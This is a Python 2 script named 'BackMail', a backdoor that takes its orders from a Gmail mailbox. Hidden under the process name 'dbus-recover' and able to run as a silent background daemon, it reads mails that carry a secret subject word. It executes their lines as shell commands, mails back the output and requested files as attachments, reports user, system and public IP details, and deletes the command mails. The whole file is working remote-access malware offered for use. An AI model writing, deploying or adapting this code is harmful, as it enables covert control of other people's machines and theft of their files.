#!/usr/bin/env python
# -*- coding: utf-8 -*-
import libgmail
import sys, string, time, re, tempfile, commands, os, pwd, datetime
import urllib2
###################################################
# User Option
###################################################
# use debug=0 to run quietly and background (daemon mode)
debug=1
# username (with @gmail.com) e password of gmail mailbox
USER="test@gmail.com"
PASS="testtest"
# secret word in subject to recognize backmails
BACK_SUBJ="secret"
# execution mode, with 
# WORKPLACE="drafts" send command simply saving mails in draft directory
# WORKPLACE="inbox" send command sending mails to your dedicated account
WORKPLACE="drafts"
###################################################


# seconds delay
DELAY=10
# special character to send commands
BACK_CHAR_TEXT="#"
BACK_CHAR_HTML="h#"
SCRIPT_DIR="/tmp/.bm/"

VER="0.1"



##############################################
# Builtin command section
##############################################

class builtinclass():

  def __init__(self):
        pass

  help_info="Get help about backmail commands."
  def help(self):
    
    toret="| To send commands to this system, compose a mail\n| with commands list in message field (Body)\n| and secret word in Object: field. Then send it to " + WORKPLACE + ".\n\n| List of available commands:\n"
    
    for name in dir(self):
      if not name.startswith('_'):
	x = getattr(self, name)
	if callable(x):
	  #nargs = hasattr(x,'func_code') and x.func_code.co_argcount or '??'
	  #toret+='%s has %s parameter%s' % (name, nargs-1, 's'[:nargs!=1] )
	  toret+="| "+ BACK_CHAR_TEXT + " " + name
	  if name + "_info" in dir(self):
	    toret+="\n|\t" + getattr(self, name + '_info') + "\n"
	  
    return toret

  info_info="Get basic system informations."
  # return tuple
  def info(self,level="uname"):
    if level=="user":
      # username, uid, cwd
      return pwd.getpwuid(os.geteuid())[0], str(os.getuid()), os.getcwd()
    if level=="uname":
      # os infos
      return os.uname() 

  netinfo_info="Get network informations."
  def netinfo(self,level="ip"):
    # return tuple (ip,path)
    pub_ip = urllib2.urlopen("http://whatismyip.com/automation/n09230945.asp").read()
    if level=="ip":
      return pub_ip, ""
    if level=="ip_page":
      ip_page = urllib2.urlopen("http://www.ip-adress.com/what_is_my_ip/").read()
      #devo salvarla in qlke path che poi la restituisco e la attacho
      return pub_ip, ip_page
  
  execute_info="Execute a command in a shell. Arguments: <program> <program arguments ...>."
  def execute(self,cmnd):
    (status,output)=commands.getstatusoutput(cmnd)
    return status,output

  getfile_info="Get a file from the system as reply mail attachment. Arguments: <file path>."
  def getfile(self,path):
    try:
      f = open(path,"r")
    except IOError,e:
      return -1 
    else:
      return 0
      

##############################################
# ProcessCmnd method - postprocess and output of builtinclass methods
##############################################

def processCmnd(t,cmnd):
  cmnd=cmnd.strip()

  status=0
  output=""
  reply=""
  files=[]
  isCommand=False
  
  prompt1=builtin.info('user')[0] + "@" + builtin.info('user')[1] + ":" + builtin.info('user')[2] + "> "

  
  if cmnd.startswith("execute"): 
    (status, output) = builtin.execute(cmnd[7:].strip())
    reply='\n' + prompt1 + cmnd[7:].strip() + '           (exit status: ' + str(status) + ')\n'
    isCommand=True
  if cmnd.startswith("help"): 
    reply = "\n# " + cmnd + "\n" + builtin.help()
    isCommand=True
  if cmnd.startswith("info"): 
    reply = "\n# " + cmnd + "\n" + ", ".join(builtin.info())
    isCommand=True
  if cmnd.startswith("getfile"): 
    status = builtin.getfile(cmnd[7:].strip())
    if status==0:
      files.append(cmnd[7:].strip())
      reply="\n# " + cmnd + "\n" + "File " + cmnd[7:].strip() + " attached."
    else:
      reply="\n# " + cmnd + "\n" + "File " + cmnd[7:].strip() + " attaching failed, check path or permissions."
    isCommand=True
  #if cmnd.startswith("netinfo"):
    #ip,path = builtin.netinfo(cmnd[7:].strip())
    #if status==0:
      #files.append(path.strip())
      #reply="\n# " + cmnd + "\nReal internet IP address: " + ip
    #else:
      #reply="\n# " + cmnd + "\n" + "File " + cmnd[7:].strip() + " attaching failed, check path or permissions."
    #isCommand=True

    
  if t=="t":
    reply+=output

  return status,files,reply,isCommand

def send_reply(to,files,subj,cmnds):
  msg=libgmail.GmailComposedMessage(to, "Re: " + subj, cmnds, filenames=files)
  ga.sendMessage(msg)

######################################################
# Main Section
######################################################

def main():

  sys.argv[0]="dbus-recover"

  # Background mode
  if debug==0:
    try:
	pid = os.fork( )
	if pid > 0:
	    sys.exit(0) 
    except OSError, e:
	print "! Fork failed: (%d) %sn" % (e.errno, e.strerror)
	sys.exit(1)


  if len(sys.argv)==3: 
    USERNAME=sys.argv[1]
    PASSWORD=sys.argv[2]
  else:
    USERNAME=USER
    PASSWORD=PASS

  global ga
  ga = libgmail.GmailAccount(USERNAME,PASSWORD)
  global builtin 
  builtin = builtinclass()
  global starttime 
  starttime = datetime.datetime.now()


  # Default banners (stdout and reply mail)
  print "++ BackMail " + VER + " running on", USERNAME, "mailbox, modify debug variable to run silently\n"
  reply="| BackMail " + VER + " running since " + starttime.ctime() + "\n| as user " + ", ".join(builtin.info('user')) + "\n| in system " + " ".join(builtin.info('uname')[:3]) + ".\n| Effective internet ip address: " + builtin.netinfo('ip')[0] + " .\n\n"
  
      
  while 1:

    try:
	ga.login()
    except Exception,e:
	print "- login with " + USERNAME + " failed, wrong user/password or networking error"
	time.sleep(DELAY)
	continue

    backmails=0
    folder = ga.getMessagesByFolder(WORKPLACE)
 
    if debug>0: print "-", WORKPLACE, "has", str(len(folder)), "messages",
    for thread in folder:
      for msg in thread:

	files=[]
	subj=msg.subject
	msgfrom=""
	commands=0

	
	# if msg.isDraft, libgmail can't parse msg. This is a dirty hack to find "Subject: BACK_SUBJ"
	if msg.subject==BACK_SUBJ or (msg.isDraft and msg.source.find("Subject: " + BACK_SUBJ)) :

	  backmails=backmails+1
	  
	  for line in msg.source.split('\n'):
	    
	    if 'From:' in line:
	      msgfrom=line[5:].strip()
	      if debug>0: print "with 1 backmail from", msgfrom
	  
	    if(re.search('<.*>',line)==None): 
	    #exclude any html line to avoid double execution in mail with both normal and html text
	      
	      if line.startswith(BACK_CHAR_TEXT):
		#case 1: text reply
		(status,f,ans,isCommand) = processCmnd('t',line[len(BACK_CHAR_TEXT):])
		if(isCommand==True):
		  commands=commands+1
		  reply+=ans 
	      
	if commands==0:
	  commands=commands+1
	  reply+=builtin.help()
	  
	send_reply(msgfrom,files,subj,reply)
	ga.trashMessage(msg)
	for f in files:
	  os.remove(f)
	print "+ backmail from", msgfrom,"processed, replied and deleted.", str(commands), "commands executed."
	commands=0


    if backmails==0: 
      if debug>0: print "with no backmails"
      
      
    time.sleep(DELAY)    


if __name__ == "__main__":
    main()
